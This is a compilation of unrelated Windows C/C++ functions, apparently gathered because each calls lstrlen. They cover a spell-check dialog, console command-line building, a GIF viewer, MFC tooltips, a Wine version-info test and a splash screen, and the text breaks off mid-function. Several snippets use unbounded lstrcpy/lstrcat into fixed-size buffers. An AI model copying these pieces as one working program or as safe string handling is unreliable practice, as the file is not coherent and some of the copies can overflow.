// runChecker: // Run the spelling checker and display the next misspelled word. void CSpellingDlg::runChecker() { SSCE_CHAR word[SSCE_MAX_WORD_SZ]; SSCE_CHAR otherWord[SSCE_MAX_WORD_SZ]; CWaitCursor busy; // Process auto-corrections SSCE_S16 result; do { result = SSCE_CheckString(SSCE_GetSid(), text, &cursor, word, sizeof(word), otherWord, sizeof(otherWord)); if (result == SSCE_AUTO_CHANGE_WORD_RSLT) { // Replace the word in the text block if (SSCE_ReplaceStringWord(SSCE_GetSid(), text, textSz, cursor, otherWord) >= 0) { // Replace the word in the edit control. editCtrl->SetSel(cursor, cursor + lstrlen((TCHAR *)word)); editCtrl->ReplaceSel((TCHAR *)otherWord); } // Skip over the replaced word to avoid problems caused by // recursive replacements cursor += lstrlen((TCHAR *)otherWord); } } while (result == SSCE_AUTO_CHANGE_WORD_RSLT); if (result == SSCE_END_OF_BLOCK_RSLT) { // End of text reached. EndDialog(IDOK); } else { CString problemDesc; // A problem was detected. if (result == (SSCE_MISSPELLED_WORD_RSLT | SSCE_UNCAPPED_WORD_RSLT)) { problemDesc = _T("Capitalization:"); } else if (result & SSCE_MISSPELLED_WORD_RSLT) { problemDesc = _T("Not in dictionary:"); } else if (result == SSCE_CONDITIONALLY_CHANGE_WORD_RSLT) { problemDesc = _T("Consider changing:"); } else if (result == SSCE_DOUBLED_WORD_RSLT) { problemDesc = _T("Doubled word:"); } SetDlgItemText(IDC_PROBLEMDESC, problemDesc); SetDlgItemText(IDC_PROBLEMWORD, (TCHAR *)word); CListBox *suggestionsList = (CListBox *)GetDlgItem(IDC_SUGGESTIONSLIST); if (result & SSCE_MISSPELLED_WORD_RSLT) { // Fill the suggestions list with suggestions. suggestionDepth = SSCE_GetMinSuggestDepth(); fillSuggestionsList(); } else if (result == SSCE_CONDITIONALLY_CHANGE_WORD_RSLT) { // Add the replacement word to the suggestions list. suggestionsList->ResetContent(); suggestionsList->AddString((TCHAR *)otherWord); suggestionsList->SetCurSel(0); } else if (result == SSCE_DOUBLED_WORD_RSLT) { // Clear the suggestions list. suggestionsList->ResetContent(); SetDlgItemText(IDC_CHANGETO, _T("")); } // Highlight the problem word in the edit control. editCtrl->SetSel(cursor, cursor + lstrlen((TCHAR *)word)); } }
wchar_t* RConStartArgs::CreateCommandLine(bool abForTasks /*= false*/) const { wchar_t* pszFull = NULL; size_t cchMaxLen = (pszSpecialCmd ? (lstrlen(pszSpecialCmd) + 3) : 0); // только команда cchMaxLen += (pszStartupDir ? (lstrlen(pszStartupDir) + 20) : 0); // "-new_console:d:..." cchMaxLen += (pszIconFile ? (lstrlen(pszIconFile) + 20) : 0); // "-new_console:C:..." cchMaxLen += (pszWallpaper ? (lstrlen(pszWallpaper) + 20) : 0); // "-new_console:W:..." // Some values may contain 'invalid' symbols (like '<', '>' and so on). They will be escaped. Thats why "len*2". cchMaxLen += (pszRenameTab ? (lstrlen(pszRenameTab)*2 + 20) : 0); // "-new_console:t:..." cchMaxLen += (pszPalette ? (lstrlen(pszPalette)*2 + 20) : 0); // "-new_console:P:..." cchMaxLen += 15; if (RunAsAdministrator == crb_On) cchMaxLen++; // -new_console:a if (RunAsRestricted == crb_On) cchMaxLen++; // -new_console:r cchMaxLen += (pszUserName ? (lstrlen(pszUserName) + 32 // "-new_console:u:<user>:<pwd>" + (pszDomain ? lstrlen(pszDomain) : 0) + (szUserPassword ? lstrlen(szUserPassword) : 0)) : 0); if (ForceUserDialog == crb_On) cchMaxLen++; // -new_console:u if (BackgroundTab == crb_On) cchMaxLen++; // -new_console:b if (ForegroungTab == crb_On) cchMaxLen++; // -new_console:f if (BufHeight == crb_On) cchMaxLen += 32; // -new_console:h<lines> if (LongOutputDisable == crb_On) cchMaxLen++; // -new_console:o if (OverwriteMode == crb_On) cchMaxLen++; // -new_console:w cchMaxLen += (nPTY ? 15 : 0); // -new_console:e if (InjectsDisable == crb_On) cchMaxLen++; // -new_console:i if (ForceNewWindow == crb_On) cchMaxLen++; // -new_console:N if (ForceHooksServer == crb_On) cchMaxLen++; // -new_console:R if (eConfirmation) cchMaxLen++; // -new_console:c / -new_console:n if (ForceDosBox == crb_On) cchMaxLen++; // -new_console:x if (ForceInherit == crb_On) cchMaxLen++; // -new_console:I if (eSplit) cchMaxLen += 64; // -new_console:s[<SplitTab>T][<Percents>](H|V) pszFull = (wchar_t*)malloc(cchMaxLen*sizeof(*pszFull)); if (!pszFull) { _ASSERTE(pszFull!=NULL); return NULL; } if (pszSpecialCmd) { if ((RunAsAdministrator == crb_On) && abForTasks) _wcscpy_c(pszFull, cchMaxLen, L"*"); else *pszFull = 0; // Не окавычиваем. Этим должен озаботиться пользователь _wcscat_c(pszFull, cchMaxLen, pszSpecialCmd); //131008 - лишние пробелы не нужны wchar_t* pS = pszFull + lstrlen(pszFull); while ((pS > pszFull) && wcschr(L" \t\r\n", *(pS - 1))) *(--pS) = 0; //_wcscat_c(pszFull, cchMaxLen, L" "); } else { *pszFull = 0; } wchar_t szAdd[128] = L""; if (RunAsAdministrator == crb_On) wcscat_c(szAdd, L"a"); else if (RunAsRestricted == crb_On) wcscat_c(szAdd, L"r"); if ((ForceUserDialog == crb_On) && !(pszUserName && *pszUserName)) wcscat_c(szAdd, L"u"); if (BackgroundTab == crb_On) wcscat_c(szAdd, L"b"); else if (ForegroungTab == crb_On) wcscat_c(szAdd, L"f"); if (ForceDosBox == crb_On) wcscat_c(szAdd, L"x"); if (ForceInherit == crb_On) wcscat_c(szAdd, L"I"); if (eConfirmation == eConfAlways) wcscat_c(szAdd, L"c"); else if (eConfirmation == eConfNever) wcscat_c(szAdd, L"n"); if (LongOutputDisable == crb_On) wcscat_c(szAdd, L"o"); if (OverwriteMode == crb_On) wcscat_c(szAdd, L"w"); if (nPTY) wcscat_c(szAdd, (nPTY == 1) ? L"p1" : (nPTY == 2) ? L"p2" : L"p0"); if (InjectsDisable == crb_On) wcscat_c(szAdd, L"i"); if (ForceNewWindow == crb_On) wcscat_c(szAdd, L"N"); if (ForceHooksServer == crb_On) wcscat_c(szAdd, L"R"); if (BufHeight == crb_On) { if (nBufHeight) msprintf(szAdd+lstrlen(szAdd), 16, L"h%u", nBufHeight); else wcscat_c(szAdd, L"h"); } // -new_console:s[<SplitTab>T][<Percents>](H|V) if (eSplit) { wcscat_c(szAdd, L"s"); if (nSplitPane) msprintf(szAdd+lstrlen(szAdd), 16, L"%uT", nSplitPane); if (nSplitValue > 0 && nSplitValue < 1000) { UINT iPercent = (1000-nSplitValue)/10; msprintf(szAdd+lstrlen(szAdd), 16, L"%u", max(1,min(iPercent,99))); } wcscat_c(szAdd, (eSplit == eSplitHorz) ? L"H" : L"V"); } if (szAdd[0]) { _wcscat_c(pszFull, cchMaxLen, (NewConsole == crb_On) ? L" -new_console:" : L" -cur_console:"); _wcscat_c(pszFull, cchMaxLen, szAdd); } struct CopyValues { wchar_t cOpt; bool bEscape; LPCWSTR pVal; } values[] = { {L'd', false, this->pszStartupDir}, {L't', true, this->pszRenameTab}, {L'C', false, this->pszIconFile}, {L'P', true, this->pszPalette}, {L'W', false, this->pszWallpaper}, {0} }; wchar_t szCat[32]; for (CopyValues* p = values; p->cOpt; p++) { if (p->pVal && *p->pVal) { bool bQuot = wcspbrk(p->pVal, L" \"") != NULL; if (bQuot) msprintf(szCat, countof(szCat), (NewConsole == crb_On) ? L" \"-new_console:%c:" : L" \"-cur_console:%c:", p->cOpt); else msprintf(szCat, countof(szCat), (NewConsole == crb_On) ? L" -new_console:%c:" : L" -cur_console:%c:", p->cOpt); _wcscat_c(pszFull, cchMaxLen, szCat); if (p->bEscape) { wchar_t* pD = pszFull + lstrlen(pszFull); const wchar_t* pS = p->pVal; while (*pS) { if (wcschr(CmdEscapeNeededChars/* L"<>()&|^\"" */, *pS)) *(pD++) = (*pS == L'"') ? L'"' : L'^'; *(pD++) = *(pS++); } _ASSERTE(pD < (pszFull+cchMaxLen)); *pD = 0; } else { _wcscat_c(pszFull, cchMaxLen, p->pVal); } if (bQuot) _wcscat_c(pszFull, cchMaxLen, L"\""); } } // "-new_console:u:<user>:<pwd>" if (pszUserName && *pszUserName) { _wcscat_c(pszFull, cchMaxLen, (NewConsole == crb_On) ? L" \"-new_console:u:" : L" \"-cur_console:u:"); if (pszDomain && *pszDomain) { _wcscat_c(pszFull, cchMaxLen, pszDomain); _wcscat_c(pszFull, cchMaxLen, L"\\"); } _wcscat_c(pszFull, cchMaxLen, pszUserName); if (*szUserPassword || (ForceUserDialog != crb_On)) { _wcscat_c(pszFull, cchMaxLen, L":"); } if (*szUserPassword) { _wcscat_c(pszFull, cchMaxLen, szUserPassword); } _wcscat_c(pszFull, cchMaxLen, L"\""); } return pszFull; }
// // FUNCTION: WndProc(HWND, unsigned, WORD, LONG) // // PURPOSE: Processes messages for the main window. // // WM_COMMAND - process the application menu // WM_PAINT - Paint the main window // WM_DESTROY - post a quit message and return // // LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { int wmId, wmEvent; PAINTSTRUCT ps; TCHAR szHello[MAX_LOADSTRING]; LoadString(hInst, IDS_HELLO, szHello, MAX_LOADSTRING); switch (message) { case WM_COMMAND: wmId = LOWORD(wParam); wmEvent = HIWORD(wParam); // Parse the menu selections: switch (wmId) { case IDM_ABOUT: DialogBox(hInst, (LPCTSTR)IDD_ABOUTBOX, hWnd, (DLGPROC)About); break; case IDM_VIEW_25: case IDM_VIEW_33: case IDM_VIEW_50: case IDM_VIEW_100: case IDM_VIEW_200: case IDM_VIEW_300: case IDM_VIEW_400: iViewScale = wmId - IDM_VIEW_100; InvalidateRect(hWnd, NULL, TRUE); UpdateMenu(hWnd); break; case ID_VIEW_ANIMATE: bAnimate = !bAnimate; UpdateMenu(hWnd); break; case ID_VIEW_FRAME: bAnimate = FALSE; if (hFrameEvent) SetEvent(hFrameEvent); UpdateMenu(hWnd); break; case IDM_EXIT: DestroyWindow(hWnd); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } break; case WM_DROPFILES: { HDROP hDrop = (HDROP) wParam; // Don't accept more dropped files ::DragAcceptFiles(hWnd, FALSE); // Get number of files dropped const int iFiles = ::DragQueryFile(hDrop, ~0U, NULL, 0); // Free previous file list (if allocated) if (pszFileList) { GlobalFreePtr(pszFileList); } // Allocate buffer to hold list of files pszFileList = (LPTSTR) GlobalAllocPtr(GMEM_ZEROINIT, iFiles * MAX_PATH); if (pszFileList) { LPTSTR pFile = pszFileList; for (int iIndex = 0; iIndex < iFiles; ++iIndex) { if (::DragQueryFile(hDrop, iIndex, pFile, MAX_PATH)) { TRACE("WM_DROPFILES (%d of %d) szPathName=%s\n", iIndex, iFiles, pFile); // Add terminating '\n' between files int iLength = lstrlen(pFile); pFile += (iLength + 1); } } *pFile++ = '\0'; pszCurrentFile = pszFileList; } DragFinish(hDrop); break; } case WM_CREATE: { HDC hDC = ::GetDC(hWnd); #ifdef PALETTE_SUPPORT hPalette = ::CreateHalftonePalette(hDC); #endif // PALETTE_SUPPORT ::ReleaseDC(hWnd, hDC); ghwndGIF = hWnd; _beginthread(DrawGifThread, 0, hWnd); UpdateMenu(hWnd); return DefWindowProc(hWnd, message, wParam, lParam); } case WM_PAINT: { RECT rect; GetClientRect(hWnd, &rect); HDC hDC = BeginPaint(hWnd, &ps); #ifdef PALETTE_SUPPORT // Select and realize palette (for 8-bit displays) HPALETTE hOldPal = ::SelectPalette(hDC, hPalette, TRUE); ::RealizePalette(hDC); gif.Draw(hDC, &rect, iViewScale); if (hOldPal) ::SelectPalette(hDC, hOldPal, TRUE); #else gif.Draw(hDC, &rect, iViewScale); #endif // PALETTE_SUPPORT EndPaint(hWnd, &ps); break; } case WM_DESTROY: { ghwndGIF = NULL; Sleep(1000); // Wait for thread to self destruct // Free previous file list (if allocated) if (pszFileList) { TRACE("Free pszFileList!\n"); GlobalFreePtr(pszFileList); pszFileList = NULL; } #ifdef PALETTE_SUPPORT if (hPalette) { TRACE("Delete palette!\n"); ::DeleteObject(hPalette); hPalette = NULL; } #endif // PALETTE_SUPPORT PostQuitMessage(0); break; } default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; }
//void static OnCreate (HWND hWnd) void OnVBarCreate (HWND hWnd) /* Effect: Perform any actions needed when a status window is created. In particular, set the instance data to initial values, determine the size and placement of the various elements of the status display. Called By: GraphStatusWndProc only, in response to a WM_CREATE message. */ { // OnCreate TCHAR szValue [20] ; HDC hDC ; int iLen ; int i ; hDC = hVBarDC = GetDC (hWnd) ; SelectFont (hDC, hFontScales) ; SetBkColor (hDC, ColorBtnFace) ; SetTextAlign (hDC, TA_RIGHT | TA_TOP) ; //=============================// // Load Text Labels // //=============================// StringLoad (IDS_STATUSLAST, StatusData.aElts[StatusLastElt].szText) ; StringLoad (IDS_STATUSAVG, StatusData.aElts[StatusAvgElt].szText) ; StringLoad (IDS_STATUSMIN, StatusData.aElts[StatusMinElt].szText) ; StringLoad (IDS_STATUSMAX, StatusData.aElts[StatusMaxElt].szText) ; StringLoad (IDS_STATUSTIME, StatusData.aElts[StatusTimeElt].szText) ; //=============================// // Determine Status Height // //=============================// StatusData.yHeight = StatusTopMargin () + StatusBottomMargin () + FontHeight (hDC, TRUE) + 2 * ThreeDPad ; //=============================// // Set position/size of elts // //=============================// // Determine the bounding box for each status value by using a max value. iLen = TSPRINTF (szValue, szStatusLargeValueFormat, -eStatusValueMax) ; GetTextExtentPoint (hDC, szValue, lstrlen(szValue), &StatusData.sizeValue) ; for (i = 0 ; i < StatusNumElts ; i++) { // for StatusData.aElts[i].eValue = (FLOAT) 0.0 ; if (i) StatusData.aElts[i].xTextPos = StatusTextMargin () + StatusData.aElts[i - 1].xValuePos + StatusData.sizeValue.cx ; else StatusData.aElts[i].xTextPos = StatusLeftMargin () ; StatusData.aElts[i].xValuePos = StatusData.aElts[i].xTextPos + StatusValueMargin () + TextWidth (hDC, StatusData.aElts[i].szText) ; } // for } // OnCreate
void CContainer::DrawGripper(CGDI* dc,CRect rcWin) { CRect rc=rcWin; rc.bottom=rc.top+18; CBrush cb; cb.CreateSolidBrush(CDrawLayer::GetRGBPressBXP()); dc->FillRect(rc, &cb); cb.DeleteObject (); dc->Draw3dRect(rc,CDrawLayer::GetRGBMenu(),CDrawLayer::GetRGBMenu()); //CGradient M(CSize(rc.Width(),rc.Height()+4)); //M.PrepareVertical(dc); //M.Draw(dc,rc.left,rc.top+1,0,0,rc.Width(),rc.Height()+4,SRCCOPY); int OldMode=dc->SetBkMode(TRANSPARENT); CFont cf; COLORREF clrtext; clrtext=dc->SetTextColor(::GetSysColor (COLOR_MENUTEXT)); cf.CreateFont(-11,2,0,0,FW_NORMAL,0,0,0,0,1,2,1,34,"MS Sans Serif"); HFONT cff=dc->SelectObject(cf); //guardar espacio para la imagen CTab* ct=(CTab*) m_pArray[m_iSelectTab]; TCHAR m_cadBreak[126]; memset(m_cadBreak,0x00,126); lstrcpy(m_cadBreak,ct->lpMsg); int contt; int cont =contt=strlen(m_cadBreak); CSize coor=dc->GetTextExtent(m_cadBreak,cont); rc.left+=3; if ( coor.cx > (rc.Width()-35)) { rc.left+=1; while(cont > 1 ) { TCHAR m_scadtemp[64]; memset(m_scadtemp,0x00,64); lstrcpy(m_scadtemp,m_cadBreak); lstrcat(m_scadtemp,_T("...")); CSize coor=dc->GetTextExtent(m_scadtemp,lstrlen(m_scadtemp)); if(coor.cx > (rc.Width()-35)) *(m_cadBreak+cont)=NULL; else break; cont--; } lstrcat(m_cadBreak,_T("...")); rc.right+=3; dc->DrawText(m_cadBreak,rc,DT_SINGLELINE|DT_LEFT|DT_VCENTER); } else dc->DrawText(ct->lpMsg,rc,DT_SINGLELINE|DT_LEFT|DT_VCENTER); //------------------------- //No Client Button //------------------------- rc=rcWin; rc.left=rcWin.right-18; rc.bottom=rc.top+18; rc.right-=7; rc.top+=3; rc.bottom-=3; if (m_DOCKFLOAT !=BS_FLOATING) { m_rcAutoHideBtn=rc; m_rcAutoHideBtn.right-=12; m_rcAutoHideBtn.left-=12; } m_rcCloseBtn=rc; if (m_bCaption) { m_CloseBtn.Paint(dc,m_stateBtn,m_rcCloseBtn,CDrawLayer::GetRGBPressBXP(),TRUE ); //if (m_DOCKFLOAT !=BS_FLOATING) // m_AutoHideBtn.Paint(dc,m_stateAHBtn,m_rcAutoHideBtn,CDrawLayer::GetRGBGray(),TRUE); } dc->SelectObject(cff); cf.DeleteObject(); }
static void test_VerQueryValue(void) { static const char * const value_name[] = { "Product", "CompanyName", "FileDescription", "Internal", "ProductVersion", "InternalName", "File", "LegalCopyright", "FileVersion", "Legal", "OriginalFilename", "ProductName", "Company", "Original" }; char *ver, *p; UINT len, ret, translation, i; char buf[MAX_PATH]; ret = GetModuleFileName(NULL, buf, sizeof(buf)); assert(ret); SetLastError(0xdeadbeef); len = GetFileVersionInfoSize(buf, NULL); ok(len, "GetFileVersionInfoSize(%s) error %u\n", buf, GetLastError()); ver = HeapAlloc(GetProcessHeap(), 0, len); assert(ver); SetLastError(0xdeadbeef); ret = GetFileVersionInfo(buf, 0, len, ver); ok(ret, "GetFileVersionInfo error %u\n", GetLastError()); p = (char *)0xdeadbeef; len = 0xdeadbeef; SetLastError(0xdeadbeef); ret = VerQueryValue(ver, "\\VarFileInfo\\Translation", (LPVOID*)&p, &len); ok(ret, "VerQueryValue error %u\n", GetLastError()); ok(len == 4, "VerQueryValue returned %u, expected 4\n", len); translation = *(UINT *)p; translation = MAKELONG(HIWORD(translation), LOWORD(translation)); p = (char *)0xdeadbeef; len = 0xdeadbeef; SetLastError(0xdeadbeef); ret = VerQueryValue(ver, "String", (LPVOID*)&p, &len); ok(!ret, "VerQueryValue should fail\n"); ok(GetLastError() == ERROR_RESOURCE_TYPE_NOT_FOUND || GetLastError() == 0xdeadbeef /* NT4, W2K */, "VerQueryValue returned %u\n", GetLastError()); ok(p == (char *)0xdeadbeef, "expected 0xdeadbeef got %p\n", p); ok(len == 0, "expected 0 got %x\n", len); p = (char *)0xdeadbeef; len = 0xdeadbeef; SetLastError(0xdeadbeef); ret = VerQueryValue(ver, "StringFileInfo", (LPVOID*)&p, &len); ok(ret, "VerQueryValue error %u\n", GetLastError()); todo_wine ok(len == 0, "VerQueryValue returned %u, expected 0\n", len); ok(p != (char *)0xdeadbeef, "not expected 0xdeadbeef\n"); p = (char *)0xdeadbeef; len = 0xdeadbeef; SetLastError(0xdeadbeef); ret = VerQueryValue(ver, "\\StringFileInfo", (LPVOID*)&p, &len); ok(ret, "VerQueryValue error %u\n", GetLastError()); todo_wine ok(len == 0, "VerQueryValue returned %u, expected 0\n", len); ok(p != (char *)0xdeadbeef, "not expected 0xdeadbeef\n"); p = (char *)0xdeadbeef; len = 0xdeadbeef; SetLastError(0xdeadbeef); ret = VerQueryValue(ver, "\\\\StringFileInfo", (LPVOID*)&p, &len); ok(ret, "VerQueryValue error %u\n", GetLastError()); todo_wine ok(len == 0, "VerQueryValue returned %u, expected 0\n", len); ok(p != (char *)0xdeadbeef, "not expected 0xdeadbeef\n"); p = (char *)0xdeadbeef; len = 0xdeadbeef; SetLastError(0xdeadbeef); ret = VerQueryValue(ver, "\\StringFileInfo\\\\", (LPVOID*)&p, &len); ok(ret, "VerQueryValue error %u\n", GetLastError()); todo_wine ok(len == 0, "VerQueryValue returned %u, expected 0\n", len); ok(p != (char *)0xdeadbeef, "not expected 0xdeadbeef\n"); sprintf(buf, "\\StringFileInfo\\%08x", translation); p = (char *)0xdeadbeef; len = 0xdeadbeef; SetLastError(0xdeadbeef); ret = VerQueryValue(ver, buf, (LPVOID*)&p, &len); ok(ret, "VerQueryValue error %u\n", GetLastError()); todo_wine ok(len == 0, "VerQueryValue returned %u, expected 0\n", len); ok(p != (char *)0xdeadbeef, "not expected 0xdeadbeef\n"); for (i = 0; i < sizeof(value_name)/sizeof(value_name[0]); i++) { sprintf(buf, "\\StringFileInfo\\%08x\\%s", translation, value_name[i]); p = (char *)0xdeadbeef; len = 0xdeadbeef; SetLastError(0xdeadbeef); ret = VerQueryValue(ver, buf, (LPVOID*)&p, &len); ok(ret, "VerQueryValue(%s) error %u\n", buf, GetLastError()); ok(len == strlen(value_name[i]) + 1, "VerQueryValue returned %u\n", len); ok(!strcmp(value_name[i], p), "expected \"%s\", got \"%s\"\n", value_name[i], p); /* test partial value names */ len = lstrlen(buf); buf[len - 2] = 0; p = (char *)0xdeadbeef; len = 0xdeadbeef; SetLastError(0xdeadbeef); ret = VerQueryValue(ver, buf, (LPVOID*)&p, &len); ok(!ret, "VerQueryValue(%s) succeeded\n", buf); ok(GetLastError() == ERROR_RESOURCE_TYPE_NOT_FOUND || GetLastError() == 0xdeadbeef /* NT4, W2K */, "VerQueryValue returned %u\n", GetLastError()); ok(p == (char *)0xdeadbeef, "expected 0xdeadbeef got %p\n", p); ok(len == 0, "expected 0 or 0xbeef, got %x\n", len); } HeapFree(GetProcessHeap(), 0, ver); }
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 命令处理 VOID CMainWnd::OnCommand(WPARAM wParam, LPARAM lParam) { PTSTR p; DWORD dwSize; CChildWnd *pWnd; TCHAR tzTemp[512]; TCHAR tzPath[512]; if ((LOWORD(wParam) >= IDM_View_Default) && (LOWORD(wParam) < IDM_View_Default + 50)) { // 改变语言 if (IsMenuChecked(LOWORD(wParam)) == FALSE) { OnViewLanguage(LOWORD(wParam)); } return; } else if ((LOWORD(wParam) >= IDM_File_Recent) && (LOWORD(wParam) < IDM_File_Recent + 10)) { // 打开新近文件 GetMenuString(m_hMenu, LOWORD(wParam), tzTemp, _NumOf(tzTemp), MF_BYCOMMAND); OnFileOpen(tzTemp + 4); return; } switch (LOWORD(wParam)) { case IDM_File_Open: OnFileOpen((PTSTR) lParam); break; case IDM_File_Exit: PostMessage(m_hWnd, WM_CLOSE, 0, 0); break; case IDM_View_Toolbar: case IDM_View_StatusBar: case IDM_View_AlwaysOnTop: case IDM_View_MinToTray: case IDM_View_ShowSplash: case IDM_View_ShowOpen: case IDM_View_PlayOnOpen: // 查看选项 OnViewMenu(LOWORD(wParam), FALSE); break; case IDM_View_AssociateFile: GetModuleFileName(NULL, tzPath, MAX_PATH); wsprintf(tzTemp, TEXT("\"%s\" \"%%1\""), tzPath); dwSize = _NumOf(tzPath); SHGetValue(HKEY_CLASSES_ROOT, STR_AppName TEXT("\\shell\\open\\command"), NULL, NULL, tzPath, &dwSize); if (lstrcmpi(tzTemp, tzPath) == 0) { SHDeleteKey(HKEY_CLASSES_ROOT, STR_AppName); for (p = STR_ExtList; *p; p += lstrlen(p) + 1) { SHDeleteKey(HKEY_CLASSES_ROOT, p); } } else { SHSetValue(HKEY_CLASSES_ROOT, STR_AppName TEXT("\\shell\\open\\command"), NULL, REG_SZ, tzTemp, _StrSize(tzTemp)); GetModuleFileName(NULL, tzPath, MAX_PATH); wsprintf(tzTemp, TEXT("\"%s\",1"), tzPath); SHSetValue(HKEY_CLASSES_ROOT, STR_AppName TEXT("\\DefaultIcon"), NULL, REG_SZ, tzTemp, _StrSize(tzTemp)); for (p = STR_ExtList; *p; p += lstrlen(p) + 1) { SHSetValue(HKEY_CLASSES_ROOT, p, NULL, REG_SZ, STR_AppName, sizeof(STR_AppName)); } } break; case IDM_Window_Cascade: SendMessage(CClientWnd::m_hWnd, WM_MDICASCADE, 0, 0); return; case IDM_Window_TitleHorz: SendMessage(CClientWnd::m_hWnd, WM_MDITILE, MDITILE_HORIZONTAL, 0); break; case IDM_Window_TitleVert: SendMessage(CClientWnd::m_hWnd, WM_MDITILE, MDITILE_VERTICAL, 0); break; case IDM_Window_ArrangeIcons: SendMessage(CClientWnd::m_hWnd, WM_MDIICONARRANGE, 0, 0); break; case IDM_Window_CloseAll: CClientWnd::CloseAll(); break; case IDM_Help_Content: // 查看帮助内容 GetModuleFileName(NULL, tzTemp, MAX_PATH); lstrcpy(_StrEnd(tzTemp) - _LenOf(EXT_Chm), EXT_Chm); if (ShellExecute(NULL, NULL, tzTemp, NULL, NULL, SW_SHOW) <= (HINSTANCE) 32) { ErrorBox(ERR_HelpErr); } break; case IDM_Help_Desktop: case IDM_Help_StartMenu: case IDM_Help_ProgramMenu: case IDM_Help_QuickLaunch: case IDM_Help_VisualStudio: // 创建或删除快捷方式 OnHelpShortcut(LOWORD(wParam)); break; case IDM_Help_About: // 显示关于对话框 CAboutDlg::Show(m_hWnd); break; case IDC_TrayIcon: // 系统托盘消息 if ((lParam == WM_LBUTTONUP) || (lParam == WM_RBUTTONUP)) { OnTrayIcon(FALSE); } break; default: pWnd = CClientWnd::GetChildWnd(); _ExIf(pWnd, pWnd->OnCommand(wParam, lParam)); } }
void CControlBar::ShowToolTip(CPoint point, UINT nHit) { EnterCriticalSection(_afxCriticalSection); ASSERT(m_bDelayDone); // delay should have been done if (nHit != m_nHitLast || m_pBarLast != this) { // always destroy the tooltip and re-create so CS_SAVEBITS works DestroyToolTip(FALSE, FALSE); ASSERT(m_pToolTip == NULL); if (m_dwStyle & CBRS_TOOLTIPS) m_pToolTip = CreateToolTip(); m_nHitLast = nHit; m_pBarLast = this; if (m_pToolTip != NULL) { // get tooltip text with WM_NOTIFY, TTN_NEEDTEXT TOOLTIPTEXT tooltext = { NULL, NULL, TTN_NEEDTEXT, NULL, _T(""), NULL, 0 }; tooltext.hdr.hwndFrom = m_hWnd; tooltext.hdr.idFrom = nHit; GetOwner()->SendMessage(WM_NOTIFY, nHit, (LPARAM)&tooltext); if (tooltext.hinst != NULL) { ::LoadString(tooltext.hinst, (WORD)(DWORD)tooltext.lpszText, tooltext.szText, _countof(tooltext.szText)); tooltext.lpszText = tooltext.szText; } else if (tooltext.lpszText == NULL) tooltext.lpszText = tooltext.szText; if (lstrlen(tooltext.lpszText) != 0) { // tooltip window will adjust its size during WM_SETTEXT m_pToolTip->SetWindowText(tooltext.lpszText); CRect rect; m_pToolTip->GetWindowRect(rect); // allow the bar to determine the center point of the hit CPoint ptCenter(SHRT_MIN, SHRT_MIN); ScreenToClient(&point); VERIFY(nHit == OnCmdHitTest(point, &ptCenter)); ClientToScreen(&point); if (ptCenter.x != SHRT_MIN) point.x = ptCenter.x - rect.Width()/2; if (ptCenter.y != SHRT_MIN) point.y = ptCenter.y - rect.Height()/2; // should be below mouse pointer int yAdjust = +(::GetSystemMetrics(SM_CYMENU) * 5) / 4; if (ptCenter.y == SHRT_MIN) point.y += yAdjust; // make sure the window is not off the screen int xScreenRight = ::GetSystemMetrics(SM_CXSCREEN); int yScreenBottom = ::GetSystemMetrics(SM_CYSCREEN); #ifdef _MAC GDHandle hgd = _AfxFindDevice(point.x, point.y); if (hgd != NULL) { xScreenRight = (*hgd)->gdRect.right; yScreenBottom = (*hgd)->gdRect.bottom; } #endif if (point.x + rect.Width() > xScreenRight) point.x -= point.x + rect.Width() - xScreenRight; if (point.y + rect.Height() > yScreenBottom) point.y -= yAdjust + yAdjust/2 + rect.Height(); // show it and update it m_pToolTip->SetWindowPos(NULL, point.x, point.y, 0, 0, SWP_NOSIZE|SWP_NOZORDER|SWP_SHOWWINDOW|SWP_NOACTIVATE); m_pToolTip->UpdateWindow(); } } if (m_dwStyle & CBRS_FLYBY) { // finally, update message line status GetOwner()->SendMessage(WM_SETMESSAGESTRING, nHit); m_bStatusSet = TRUE; } } LeaveCriticalSection(_afxCriticalSection); }
void OnSplashWndPaint( HWND hWnd ) { PAINTSTRUCT ps; HDC hdc = NULL; RECT rt; //#ifdef _UNICODE //#define MY_T2(x) L#x //#else //#define MY_T2(x) x //#endif //#define MY_T(x) MY_T2(x) LPCTSTR szProduct = TMEX_NAME; //LPCTSTR szVersion = MY_T( VERSIONPRODUCTVERSIONSTR ); //LPCTSTR szCopy1 = MY_T( COPYRIGHT1 ); //LPCTSTR szCopy2 = MY_T( COPYRIGHT2 ); USES_CONVERSION; LPCTSTR szVersion = A2CT( VERSIONPRODUCTVERSIONSTR ); LPCTSTR szCopy1 = A2CT( COPYRIGHT1 ); LPCTSTR szCopy2 = A2CT( COPYRIGHT2 ); hdc = BeginPaint(hWnd, &ps); ::GetClientRect(hWnd, &rt); int width = rt.right - rt.left; // int height = rt.bottom - rt.top; int charWidth = width/lstrlen(szProduct); int MainTextHeight = iSplashInternalHeight*iTextHeightName/100; int y = (iSplashHeight - iSplashInternalHeight)/2; int TextWidth = 0; do { charWidth--; HFONT hf = MakeFont( charWidth, MainTextHeight ); HFONT hf1 = (HFONT)::SelectObject(hdc, hf); SIZE sz; GetTextExtentPoint( hdc, szProduct, lstrlen(szProduct), &sz ); TextWidth = sz.cx; ::SelectObject(hdc, hf1); ::DeleteObject( hf ); } while( TextWidth > iSplashInternalWidth && charWidth > 1 ); HPEN hPen = CreatePen( PS_SOLID, 1, crDarkBorder ); //GetSysColor(COLOR_WINDOWFRAME) ); HPEN hPen1 = (HPEN) ::SelectObject(hdc, hPen); HBRUSH hBrush = CreateSolidBrush( crBackground ); ::Rectangle( hdc, rt.left, rt.top, rt.right, rt.bottom ); rt.left++, rt.top++, rt.right--, rt.bottom--; // Inflate rectangle by 1 pixel ::FillRect( hdc, &rt, hBrush ); ::DeleteObject( hBrush ); ::SelectObject(hdc, hPen1); ::DeleteObject(hPen); int h; h = MainTextHeight; MyDrawText( hdc, y, szProduct, charWidth, h, width, crText, crTextBorder ); y += h; h = iSplashInternalHeight*iTextHeightVersion/100; MyDrawText( hdc, y, szVersion, charWidth*iCharWidthVersion/100, h, width, crText, crTextBorder ); y += h; h = iSplashInternalHeight*iTextHeightCopy1/100; MyDrawText( hdc, y, szCopy1, charWidth*iCharWidthCopy1/100, h, width, crText, crDarkBorder ); y += h; h = iSplashInternalHeight*iTextHeightCopy2/100; MyDrawText( hdc, y, szCopy2, 